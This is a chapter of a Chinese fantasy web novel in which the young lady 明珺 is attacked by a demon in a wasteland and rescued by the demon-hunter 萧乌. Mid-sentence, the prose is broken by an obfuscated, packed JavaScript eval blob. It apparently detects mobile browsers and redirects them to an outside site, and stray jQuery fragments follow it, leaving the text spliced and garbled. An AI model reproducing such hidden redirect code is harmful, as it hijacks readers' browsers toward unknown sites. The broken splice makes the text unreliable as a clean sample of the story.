雾中森 作品

3. 第三章

明珺在无人的泥土路上走了有一阵。她花了一颗金珠,换赶牛车的老伯载了她一程,只是,还未到偏僻处,那老伯就因为近来的传言不敢再向前,他甚至还劝了明珺,让这个在他眼中再漂亮不过的闺女别因为好奇心干傻事。


“听说那吃人的邪物,最喜欢的就是你这种漂亮的女娃!”


“闺女,听老伯一句劝,别再往前去了。”


但老人终究没能劝住明珺,明珺提着裙摆跳下牛车,她动作看着文雅,一张口,本质却立刻暴露出来:“老伯,您不必担心,我其实可厉害了。”


说罢,明珺拿出约定要的金珠,递给那老伯,老伯却摇摇头说道:“要不了这么多。”


明珺只好换了块碎银子。老伯却仍觉得有点多,直到明珺说她身上不是金珠就是碎银子,再不然就是大额银票…老伯在明珺拿出金珠时,就知道明珺的身份非同一般,但如今听明珺这么一说,他还是被明珺的有钱程度吓得呆了好一会,再三犹豫之后,老伯才伸手接过明珺手中的碎银子。


明珺就这么毫不设防地把自己的小金库展露在他人眼前,得亏眼前的老伯是个老实农人,没什么坏心眼,若是换了旁的什么人,见财起了贪念,那明珺的处境恐怕就危险了。


接过碎银子后,老伯沉吟片刻,对明珺说:“闺女,我是不敢再往里走了,不过我可以在这等你。”


说罢,老伯抬头看了看天空,天幕中高悬的太阳正以人眼难以观测到的速度朝着西边缓缓移动,黄昏将近,于是老伯同明珺约定好,若天黑之前,明珺还没回来,那老伯就去官府报案。


没想到自己随手一拦,就拦下了这么一个好心人,明珺颇为感动,应她当即了下来。


再然后,明珺踏上了小径。


——这便是明珺如今出现在这片荒地里的原因。


明珺踏入荒地前满心期待,信心满满,但走了一段路后,明珺忽而惊觉不对…这里怎么前后左右都差不多?


前边是草,后边是草,左右也都是,明珺回头望去,发现自己来时的小路已经消失不见,明珺怔了怔,蹙眉心道,难不成是迷路了?


这下糟了。


明珺自己连往回走都做不到。


可那老伯要是天黑前见不到她,就会去官府报官。


明珺有些头疼,她站在荒地之中,左顾右盼,像是希望能寻到一条出路。


猎猎风声传来,森绿的草叶轻晃,带着凉意的风忽而直往明珺身上扑,明珺被吹得颤了颤,总觉得后背莫名攀上一股凉意。


不知何时,天空中忽而乌云密布。


像是要下一场雨。


“呼—呼—”


风声越来越大,沙石飞扬,明珺下意识抬手挡了挡,她总觉得这阵风似乎只缠绕在她周围,如蛇般紧绕着她。


风刮过的声响如毒蛇吐信,一阵凉意从明珺的耳朵旁扫过,仿佛人的呼吸。


明珺的头皮骤然一麻。


与此同时,一只指甲红艳的手轻轻落在明珺的肩膀上,一道如银铃般的笑声在空旷的荒地中响起:“你可真美啊…”


邪物的手指迷恋地抚摸着明珺的脸颊,少女的肌肤最是滑嫩,邪物对此爱不释手,它笑着,但语气却再森然不过,仿佛淬满了毒,冒着丝丝寒气。


“如果这皮囊…是我的就好了!”


邪物的叹息声钻入明珺耳中,话音落下的那一刻,它目光骤然冷了下来,只见它五指勾起,锐利的指尖顷刻间划破了明珺的脸,血珠从伤口中渗出,明珺听着邪物阴森森的话语,眯了眯眼。


邪物伤了明珺的瞬间,一张明黄色的符纸也随之贴到它身上,刹那间,符纸被邪气引动,无火自燃起来。


“啊——!!”邪物顿时惨叫起来,它身上碰到符纸的地方仿佛被火灼伤般,血肉模糊。


“你!”


邪物没想到眼前看似柔弱的女子竟能伤到自己,痛意让它眼中怨毒更甚,它索性也不装了,露出本来狰狞的样貌,张牙舞爪便要扑向明珺。


“你怎么敢!我要杀了你!!”


邪物的速度很快,明珺的眼睛只捕捉到一线残影,回过神来时,邪物那双睁得很大、布满了血丝的眼睛便已近在咫尺,明珺一惊,下意识便要挥出一拳,但有人的速度比她更快。


一点银芒骤然亮起,一人手持长剑,一剑便将那狰狞可怕的邪物挑飞了出去。


“叮铃——”


明珺听到铃铛清脆的声响,她怔怔抬眼看去,看到一颗小小的铃铛在风中晃呀晃,铃铛往上,是一根红线,红线系于剑柄处,而执剑的人,恰恰是她先前有过一面之缘的小乞丐!


小乞丐黑白分明的眼睛盯着她瞧,明珺听见他不赞同的声音。


“你不该在这。”小乞丐说。


明珺愣了片刻,眼睛却骤然亮了起来:“难道你就是诛妖司派来的捉妖师?”


她倒是不计较萧乌先前诓她,说没见过捉妖师进城的事。


“……”


萧乌没说是也不是,他抬手举起手中的长剑,望向袭击了明珺的邪物,只道:“你该走了。”


萧乌对明珺的态度再冷淡不过。


明珺眨了眨眼,却仿佛全然没有感受到萧乌的冷淡。明珺仍想说些什么,但忽然,她只觉眼前一花,等她惊诧地望向远处时,萧乌已经与那造成了数桩命案的邪物交上了手。


这便是捉妖师么?


好厉害!


明珺眼睛闪闪发亮,她几乎难以看清萧乌与邪物到底过了几招,两方缠斗在一起,邪物的利爪死死抵住萧乌的长剑,打斗中,金属发出“铮铮”的声响,久久未曾停歇。


在除妖这方面上,明珺是个门外汉,她看不出萧乌和邪物打斗时的门道,但有一件事,就算是门外汉也能瞧得出来,那就是——萧乌几乎是在压着邪物打!他的剑招如狂风骤雨般砸向邪物,邪物相形见绌,连连退败。


明珺看着这一切,胸膛里一颗心怦怦跳个不停。


原来小乞丐竟是这般厉害的捉妖师!明珺目露崇拜之色。


若她也有这般厉害就好了……


若她这么厉害,明珺垂眸半有些失落地扯了扯身上的衣裙,她忍不住轻叹一声,心道自己何时能褪下这身衣裙,毫不畏惧地活在这世上?


明明那才是她真实的模样。


明珺一恍神,远处的打斗已接近尾声。萧乌正要一剑刺入那邪物的胸膛,那邪物仿佛也感知到了危险,扭身作


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060042|162983||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


势要逃,但它只是刚形成不久的“妖”,在萧乌面前,竟连逃也做不到,关键时刻,邪物一咬牙,身上气息忽而暴涨。


萧乌蹙眉,刹那间,他的直觉令他做出了最恰当的反应——萧乌收住即将刺入邪物胸膛的剑,飞快往后掠去。


与此同时,邪物的眼珠忽而猩红一片,它的利爪又长了几分,爪尖一片墨黑,仿佛淬了剧毒。邪物无论是力量还是速度,竟都涨了一大截,若是萧乌刚刚没有及时退走,如今怕是要反过来被它伤到。


只是这股不知来自何处的力量,邪物似乎难以维持许久,它恨恨盯着萧乌看了一会,很快化作一缕黑烟,消散不见。


萧乌眉头皱得更紧,他本以为这次能够很快解决完麻烦事,没想到关键时刻,却被那邪物逃了。这下,他又得花时间等那邪物自己主动现身了。


不过,那邪物被他重伤,想必要不了多久就会再次作案,以恢复自身气血…这么想着,萧乌的面色却依旧不太好看,毕竟那邪物被他所伤,心里自然便多了几分忌惮,下次它再出现,恐怕就不会像今日这般明目张胆了。


百千种思绪从萧乌脑袋中一一闪过,而其中最让他感到麻烦的,果然还是邪物方才暴涨的气息。


那些邪物竟能短时间提升这么多实力!而萧乌对此却几乎闻所未闻。


萧乌双眉几乎快皱成一座小山,偏偏这时,却有人仍要没眼色地上前招惹他,萧乌的手被人用力握住,他抬头,便对上明珺亮得几乎要闪瞎他眼睛的眼神。


“你好厉害啊!”明珺惊叹道,她湿漉漉的眼神像极了一只对着喜爱的事物疯狂摇晃尾巴的小狗。


“……”


萧乌忍不住问道:“你怎么还没走?”


“我…哈哈哈…”听萧乌这么一问,明珺动作一滞,终于显露出几分心虚来,半晌,她试图用笑容掩盖过去,这样的事情她似乎做过不少,于是再熟练不过。


但萧乌可没那么好搞定。


于是明珺垂下眼帘,带着几分可怜兮兮地道歉说:“对不起。”


“……”


萧乌总觉得眼前的人这几个小连招再丝滑不过。


“…算了。”


萧乌懒得和麻烦的人扯上联系,他将剑合入剑鞘中,转身欲走,却走没几步,便被人用力地扯住衣服。


萧乌纳闷,心道难道如今富贵人家的小姐都这般不矜持吗?可据他所知,现在的世道虽没过去那么传统,但男女之间多少仍要保持几分距离才是。


萧乌深深吸一口气,泥人也有三分火气,明珺这般纠缠于他,就别怪他…萧乌阴沉着神色,回过了头,恰好对上明珺灿烂的笑容。


“诶,你要不要来我家做客?”明珺热情地邀请着眼前浑身脏兮兮的小乞丐。


见小乞丐面色不虞,她顿了顿,片刻后,小心翼翼地试探道:“来我家做客有很多好吃的,你可以随便吃,吃到饱。”


“咕噜——”


话音落下,萧乌的肚子恰到好处地发出一声轻响,方才的打斗中他消耗了不少力气,此时听明珺这么说,他所谓的“火气”顷刻间烟消云散。


“也不是不行。”萧乌咽了咽口水,已经全然将所谓的“矜持”抛到了九霄云外。